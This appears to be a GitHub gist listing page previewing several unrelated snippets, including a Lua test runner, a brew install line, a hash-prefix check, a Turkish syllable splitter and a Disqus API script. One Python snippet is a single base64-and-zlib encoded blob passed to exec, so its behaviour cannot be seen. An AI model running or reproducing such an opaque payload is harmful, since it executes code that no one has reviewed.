This document defines the collaboration rules and development principles expected of all AI agents and contributors across projects. Originally designed for a scalable content-sharing platform, these guidelines are now abstracted for universal use.
- Prioritize simplicity, readability, and maintainability.
- Avoid code duplication; reuse logic and components.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| local testRunner = { | |
| tests = { | |
| test_foo = function() end, | |
| test_bar = function() end, | |
| test_zoo = function() end | |
| }, | |
| init = function(self) | |
| self._tests = {} | |
| for n, f in pairs(self.tests) do | |
| table.insert(self._tests, {n, f}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| brew install iterm2 git docker docker-compose btop neovim nvm pyenv pipx zsh zsh-completions wget grep curl tmux ranger |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from hashlib import sha256 | |
| from time import time | |
| HARDNESS = 4 | |
| VALID_BLOCK_PREFIX = "0" * HARDNESS | |
| def is_valid_hash(hash_str): | |
| return hash_str.startswith(VALID_BLOCK_PREFIX) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def get_syllables(word): | |
| syllables = [] | |
| """ | |
| Aşağıdaki satır gelen kelimenin ünlü harfler 1, ünsüzler 0 olacak | |
| şekilde desenini çıkarır. | |
| Örneğin: arabacı -> 1010101, türkiye -> 010010 | |
| """ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import sys | |
| from urllib2 import urlopen, HTTPError | |
| from urllib import urlencode, unquote_plus | |
| from json import loads | |
| from time import sleep | |
| API_SECRET = '__YOUR_DUSQUS_APP_API_SECRET__' | |
| FORUM_ID = '___YOUR_DISQUS_FORUM_ID___' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import zlib, base64 | |
| exec(zlib.decompress(base64.b64decode('eJxdUE1PAyEUvPMrcA0BdD+sBw9NMGmbJl6aeGpi1DTYZVvsLlBg+3HxtwvbbFu9ADPvzcx73N4UrbPFl1SFUDtojn6tFZgzbYQCmtXhXCx4G1i7WLBkJi33cMIVHPOj5ZskVJfaHK1crX1smPQAPj4MnlL4WnMlPJxy69cJqKxuYMm98LIRUDZGW3/GYMn6Z670HrQX6LytupbOQLte2mxKaXsyN9yv+4o4GK7K1gmbfmupUnGQzrtTqzueDbhd7cCYYVRmqMnQW+4PHgMeiQI1BXqDGUSjD4XBlEUfcvEl+AfTFOe1XjUCUyArqHQMjkFkSocAmnAByZaEgoq1RKZjCsqTzzSt/kvKKKkMm5MyxfvgCLediNNI53srvSDba4AzfEd04LIBvcdhSgpE7cSVDT8NpklclD4PQmnHMMR5N0Qk3wfDz+A5YvL8yyRBL0M0S/5EITeEyIUMREbpjoaNTL6stRNhuV/OibeI'))) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import re | |
| import glob | |
| import subprocess | |
| from os.path import exists | |
| from sys import exit | |
| INPUT_FOLDER = 'input/' | |
| OUTPUT_FOLDER = 'output/' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| """logme: Simplest diary program""" | |
| __author__ = "Mirat Can Bayrak" | |
| __copyright__ = "Copyright 2016, Planet Earth" | |
| from datetime import datetime |
NewerOlder